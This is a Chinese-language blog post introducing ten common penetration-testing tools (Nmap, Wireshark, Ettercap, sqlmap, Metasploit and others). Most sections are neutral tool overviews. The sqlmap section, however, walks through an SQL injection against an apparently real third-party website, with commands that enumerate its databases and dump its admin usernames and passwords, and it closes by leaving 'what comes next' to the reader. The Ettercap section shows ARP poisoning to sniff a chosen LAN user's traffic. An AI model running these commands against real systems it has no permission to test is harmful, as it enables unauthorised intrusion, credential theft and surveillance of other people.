歡迎加入開源工場電報群討論交流:https://t.me/OpeningSourceOrg


很多朋友都對網路信息安全很感興趣,開源工場特意整理了10大常用滲透測試工具,天下兵器一百般,能用一樣不一般,用好其中任何一種,你都會很厲害了!

滲透測試(Penetration test)是通過模擬惡意黑客的攻擊方法,來評估計算機網路系統安全的一種測試。目的是發掘系統漏洞,並提出改善方法,通常來說是善意的。這個過程包括對系統的任何弱點、技術缺陷或漏洞的主動分析,這個分析是從一個攻擊者可能存在的漏洞和位置來進行的,並且從這個出發點有條件地主動利用安全漏洞。滲透測試還具有的兩個顯著特點是:它是一個漸進的並且逐步深入的過程,同時它是選擇不影響業務系統正常運行的攻擊方法進行的測試。

而這次精選的10大常用滲透測試工具,大部分都是耳熟能詳的開源工具,也有極少數並不太知名,來看看吧。

1.wwwscan

wwwscan是uhhuhy寫的一個簡單好用的網站目錄掃描程序。簡單來說就是根據已有字典(cgi.list)與目標網站進行比對,從而得到目標網站目錄。網上資源很多,這裡只介紹單個網站掃描版。

 

-p web埠設置(默認80埠)

-m 多線程運行

-t 超時時間

-r 設置掃描起始目錄

-ssl 是否使用ssl進行聯機

 

簡單舉個具體的例子。在cmd窗口中切換到wwwscan文件目錄下,在命令提示符處wwwscan www.baidu.com -p 8080 -m 10 -t16

 

wwwscan
wwwscan

在掃描完成後,掃描結果將自動在wwwscan的目錄下生成一個url文件 。

還有一種方法就是在gui界面操作

wwwscan-gui
wwwscan-gui

 

如果想更換字典,只要將wwwscan目錄下的cgi.list替換掉就好。

 

2.wireshark

Wireshark(前稱Ethereal)是一款流行且實用的的開源抓包軟體。使用 WinPCAP 作為介面,直接與網卡進行數據報文交換

wireshark的使用界面

Wiresharp 使用截圖
Wiresharp 使用截圖

Wireshark的一些常見用途:網路管理員使用Wireshark來檢測網路問題,網路安全工程師使用Wireshark來檢查資訊安全相關問題,開發者使用Wireshark來為新的通訊協定除錯,普通使用者使用Wireshark來學習網路協定的相關知識。當然,有的人也會「居心叵測」的用它來尋找一些敏感信息……

Wireshark簡單抓包流程:首先選擇需要監聽的介面,然後設置捕獲過濾器,在數據流量比較大的時候,直接抓包可能會得到大量的冗餘信息,甚至會導致軟體卡死,而捕獲過濾器的目的就是只抓取自己需要的封包,例如只捕獲某主機的http流量等。然後就可以進行抓包了,抓包完畢。在顯示過濾器中設置過濾規則,就可以快速地找到你想要的封包了。

 

3.TCPDUMP

tcpdump 是一個運行在命令行下的抓包工具。它允許用戶攔截和顯示發送或收到過網路連接到該計算機的TCP/IP和其他數據包。tcpdump 適用於大多數的類Unix系統操作系統(如linux,BSD等)。類Unix系統的 tcpdump 需要使用libpcap這個捕捉數據的庫就像 windows下的WinPcap。

tcpdump是希望在linux上抓包而苦於沒有wireshark的同學的福音。

TCPDUMP 使用截圖
TCPDUMP 使用截圖

 

Tcpdump的大概形式如下:

例 : tcpdump –i eth0 』port 1111『 -X -c 3

-X告訴tcpdump命令,需要把協議頭和包內容都原原本本的顯示出來(tcpdump會以16進位和ASCII的形式顯示),這在進行協議分析時是絕對的利器。

tcpdump採用命令行方式,它的命令格式為

tcpdump [ -adeflnNOpqStvx ] [ -c 數量 ] [ -F 文件名 ]
[ -i 網路介面 ] [ -r 文件名] [ -s snaplen ]
[ -T 類型 ][ -w 文件名 ] [表達式 ]

具體常用參數&&用法可以查看tcpdump官網

 

4.Charles

Charles是一款抓包神器,因為他是基於java開發的,所以跨平台,Mac、Linux、Window下都是可以使用的,確保安裝之前已經安裝了JDK。由於該工具使用較為簡單且方便,具體的方法可參考Charles官網地址:https://www.charlesproxy.com

優點:

移動端的抓包神器

  • 支持SSL 代理。可以截取分析SSL的請求
  • 支持流量控制。可以模擬慢速網路,以及等待時間(latency)較長的請求
  • 支持AJAX 調試。可以自動將JSON 或XML 數據格式化,方便查看
  • 支持AMF 調試。可以將Flash Remoting 或Flex Remoting 信息格式化,方便查看
  • 支持重發網路請求,方便後端調試
  • 支持修改網路請求參數
  • 支持網路請求的截獲和動態修改
  • 檢查HTML、CSS 和RSS 內容是否符合W3C 標準

缺點:

  • 相比wireshark等權威抓包軟體,只支持抓取TCP、UDP、HTTPS,HTTP等常見協議,可供分析的種類較少
  • Charles 通過將自己設置成系統的網路訪問代理伺服器,使得所有的網路訪問請求都通過它來完成,從而實現了網路封包的截取和分析。這會導致與系統的其他代理伺服器軟體想衝突,使用上造成不便

5.Nmap

NMap全稱Network Mapper,是一個Linux下的開源網路映射工具,深受網路安全從事者的喜愛,可以說是最有用的網路映射工具之一。NMap的主要應用包括但不僅限於以下幾點:主機發現、埠掃描、版本檢測、系統檢測、交互性腳本等。

NMap可直接在apt中安裝:

$ sudo apt-get install nmap

也可在官方網站中下載。

 

運行時nmap接收一些參數,格式為

$ nmap [掃描類型] [選項] {目標主機}

具體地,類型和選項都有什麼,後面會介紹一二,其餘在官方手冊上也可以找到。值得一提的是,這裡的目標主機接受域名和各種格式的IP地址,如192.168.0.0/16; 192.168.0-255等。

 

Nmap的具體功能

掃描主機及埠:

        NMap的基礎功能是判斷主機是否運行(up運行的、down未運行的)及埠的狀態。NMap在掃描時可以指定一定的模式,即掃描類型,常用常見的模式主要有以下四種。

1.Connect模式。這是最簡單的一種模式,NMap直接向主機發送連接請求,依據返回判斷埠狀態。這種模式會建立完整的連接,故會被防火牆記錄。

2.SYN包模式。在這種模式下,NMap使用了更加隱蔽的方式進行嗅探:通過解析主機返回的SYN/ACK包獲取信息,判斷出主機的狀態。因為連接並未被建立,所以大多數的防火牆以及IDS不會記錄,也因此使用此模式進行嗅探大概率不會在目標主機上留下痕迹。

3.SYN/ACK包模式。在此模式下,NMap直接向目標主機發送一個SYN/ACK包,但因為目標主機處並無SYN包,所以如果此埠開放,這個包會被接收並丟棄;如果此埠關閉,這個包會被拒收,並返回一個RST包,NMap通過判斷有無返回來判斷埠狀態。

4.FIN包模式。在此模式下,NMap將向埠直接發送一個FIN包,其餘原理同SYN/ACK包模式。使用的參數為 -sF

當然還有很多其它模式可供選擇,如Window模式、Maimon模式等,可根據實際需要選擇。

判斷軟體版本及操作系統

NMap還可以對伺服器各埠的軟體及版本進行判斷,原理是通過發送特定形式的包誘導伺服器暴露其特徵,因此使用這一功能需要superuser許可權。

 NMap腳本引擎

當然NMap最重要的功能是它支持NSE(NMap Scripting Engine),即上文提到的交互性腳本,通過NSE,任何人可以用Lua語言編寫NMap的擴展功能。NMap的維護者及許多其它開發者已編寫了大量的NSE,在使用正常方法安裝NMap時,很多NSE已經被包含。

 

6.Zmap

對你的虛擬伺服器來說這個軟體非常危險.

 

ZMap是一個簡單快速開源的網路掃描軟體,由C語言開發(也因此效率很高,據說可以在1小時內掃描全部的IPv4網域,可以說是甩了NMap幾條街)。其主要應用領域為互聯網研究,但也有黑客和腳本小子使用這個軟體快速地尋找未能及時防禦系統漏洞的主機。

 

安裝

操作系統  
Ubuntu 和 Debian sudo apt-get install zmap
Fedora, CentOS 和 RHEL sudo yum install zmap
Gentoo sudo emerge zmap
MacOS brew install zmap
Arch Linux sudu pacman -S zmap

或者也可以在Zmap的Github頁面中克隆代碼進行編譯。

 

運行

zmap作為一款簡單的軟體,語法也非常簡單

zmap [Options]

這就是全部了。

 

功能

zmap的功能很單一,掃描。下面將列舉一些常用選項,用以對掃描的方式進行調整。

  • -p選項,規定目標的TCP埠(默認為80)
  • -o選項,規定輸出文件,使用-`代表標準輸出(默認為標準輸出)
  • -b選項,規定黑名單文件,用於避開特定的IP地址(默認為默認黑名單)
  • -w選項,規定白名單文件,用於掃描特定的IP地址(默認為空)
  • -r選項,用於規定最大速率,單位為包/秒
  • -B選項,用於規定最大速率,會覆蓋-r選項,單位為比特/秒(支持G/M/K後綴,如:-B 10M)
  • -n選項,用於規定最大探測數量
  • -N選項,用於規定最大結果數量

 

升級改造

雖然功能單一,但由於zmap的開源特性,其探測模塊以及輸出模塊均可被修改。默認的輸出模塊僅將IP地址列舉輸出,但實際上我們可以通過修改輸出模塊對探測到的數據進行預處理,但具體的修改方式較為複雜,在此略過。同樣地,探測模塊也可以被修改成所需的樣子,這也是實現很多統計性研究的基礎。

 

實例

zmap -B 10M -p 80 -n 10000 -o results.csv

這條語句實現的是對10000個隨機ip地址的80埠進行掃描並將結果輸出至results.csv。

[zmap-github] https://github.com/zmap/zmap

 

7.Ettercap

Ettercap是基於Linux系統,作用於中間人攻擊時的綜合工具。它具有嗅探活連接,動態內容過濾等功能,還有許多其他有趣的技巧。它支持許多協議的主動和被動解析,並包含許多用於網路和主機分析的功能。常用於APR和DNS欺騙中。Ettercap有兩個版本,一個是直接在終端運行,一個是GUI界面。在這裡簡單介紹一下前者的安裝。

 

安裝

在終端下輸入sudo apt-get install ettercap-common

如下所示:

justin@openingsource: sudo apt-get install ettercap-common

 

Ettercap的一些使用是需要gtk+編程環境的(不完全需要),所以確保你的Ubuntu系統已經配置好了gtk+的編程環境。

如果沒有配置gtk+編程環境,在終端輸入sudo apt-get install libgtk-3-dev。

 

用法:ettercap [OPTIONS] [TARGET1] [TARGET2]

具體可以鍵入: ettercap –help 來查看

 

我們鍵入:sudo ettercap -C通過 curse GUI界面啟動ettercap如下:

justin@openingsource: sudo ettercap -C

ettercap 截圖
ettercap 截圖

 

選擇sniff:然後選擇自己要監聽的網卡

ettercap-sniff 截圖
ettercap-sniff 截圖

 

 

ettercap-hosts 截圖
ettercap-hosts 截圖

可以看到區域網中的主機:

ettercap-hostslist 截圖
ettercap-hostslist 截圖

 

按T ,再按A,選定目標主機,將目標主機添加到Target1,將路由器添加到Target2:

然後點擊Mitm 選擇APR poisoning 確定後

選擇start ,start sniffing

ettercap-sniffing 截圖
ettercap-sniffing 截圖

 

然後就開始監聽對應主機了

可以配合driftnet 監控用戶訪問所有圖片,也可配合urlsnarf 監控用戶訪問所有網頁,具體實踐不一一展示。

 

8.Burp Suite:

Burpsuite是用於攻擊web 應用程序的集成平台。它包含了許多工具,並為這些工具設計了許多介面,以促進加快攻擊應用程序的過程。

Burpstite 有各種各樣的版本https://portswigger.net/burp/communitydownload

Burp_Suite 截圖
Burp_Suite 截圖

 

我們下載windows64位的版本,安裝運行。

Burp_Suite 使用界面截圖
Burp_Suite 使用界面截圖

這一排都是工具箱:

 

Proxy——是一個攔截HTTP/S的代理伺服器,作為一個在瀏覽器和目標應用程序之間的中間人,允許你攔截,查看,修改在兩個方向上的原始數據流。

Spider——是一個應用智能感應的網路爬蟲,它能完整的枚舉應用程序的內容和功能。 Scanner[僅限專業版]——是一個高級的工具,執行後,它能自動地發現web 應用程序的安全漏洞。

Intruder——是一個定製的高度可配置的工具,對web應用程序進行自動化攻擊,如:枚舉標識符,收集有用的數據,以及使用fuzzing 技術探測常規漏洞。

Repeater——是一個靠手動操作來補發單獨的HTTP 請求,並分析應用程序響應的工具。 Sequencer——是一個用來分析那些不可預知的應用程序會話令牌和重要數據項的隨機性的工具。

Decoder——是一個進行手動執行或對應用程序數據者智能解碼編碼的工具。

Comparer——是一個實用的工具,通常是通過一些相關的請求和響應得到兩項數據的一個可視化的「差異」。

(功能介紹來源於百度百科)

具體功能不一一實踐,burpsuite入門難,參數多,但運用得當,可以在日常工作中如虎添翼。

 

9.SQLmap

sqlmap是一款非常強大的開源sql自動化注入工具,可以用來檢測和利用sql注入漏洞。它由python語言開發而成,因此運行需要安裝python環境。

測試環境:Ubuntu16.04

安裝:

http://sqlmap.org/ 官網下載tar.gz文件到本地
解壓 sudo tar zxvf 文件名
進入解壓目錄:./sqlmap.py

檢測注入階段

基本格式

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  (http://henecia.jp/goodsnews/detail.php?nid=63為注入點)

默認使用level1檢測全部資料庫類型

注入成功後

獲取資料庫基本信息

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 --dbs

查詢有哪些資料庫

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 -D test --tables

查詢test資料庫中有哪些表

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 -D test -T admin --columns

查詢test資料庫中admin表有哪些欄位

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 -D test -T admin -C "username,password" --dump

dump出欄位username與password中的數據

從資料庫中搜索欄位

sqlmap -r "http://henecia.jp/goodsnews/detail.php?nid=63" --dbms mysql -D dedecms --search -C admin,password
在dedecms資料庫中搜索欄位admin或者password。

 

實際操作

注入點為http://henecia.jp/goodsnews/detail.php?nid=63

 

1.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"得到資料庫版本及其他應用軟體版本

 

2.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --users -v 0查看當前用戶

得到當前用戶為henecia

SQLMap 使用截圖
SQLMap 使用截圖

 

3.使用./sqlmap.py -u

"http://henecia.jp/goodsnews/detail.php?nid=63"  --dbs -v 0查看所有資料庫

得到兩個資料庫

SQLMap 使用截圖
SQLMap 使用截圖

 

4.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --tables -D "henecia"獲取henecia資料庫內所有表

 

5.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --columns -D "henecia" -T "TM_ADMIN_MEMBER"獲取TM_ADMIN_MEMBER表(有可能為管理員表)內所有欄位名

 

6.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dump -D "henecia" -T "TM_ADMIN_MEMBER" -C "login_uid,login_pwd"獲取管理員的用戶和密碼

 

接下來的事情 就看大家自由發揮啦~

10.metasploit

介紹:

metasploit如其在官網首頁上寫著的"The world's most used penetration testing framework"一樣,是世界上使用最廣泛的開源滲透測試框架軟體,在linux和Windows上都有對應的版本.這個框架最早由H.D.Moore在2003年發布,.在2004的BlackHat黑客大會上一鳴驚人,不斷有志同道合的人加入到這個項目,為其貢獻滲透代碼以及工具等.發展至今,已經進入了metasploit v4.0時代,集成了數百個針對主流操作系統不同網路服務與應用軟體安全漏洞的滲透攻擊模塊,哪怕是個初學者也可能利用metasploit進行滲透攻擊.除此之外,metasploit還可以進行情報搜集,威脅建模,漏洞分析,後滲透攻擊與報告生成,其功能包含了滲透測試的整個流程."只有你想不到,沒有它做不到",雖然這麼說略有誇張,但metasploit的強大毋庸置疑。

很多朋友都對網路信息安全很感興趣,開源工場特意整理的這10大常用滲透測試工具,希望可以幫助你快速了解信息安全領域,祝使用愉快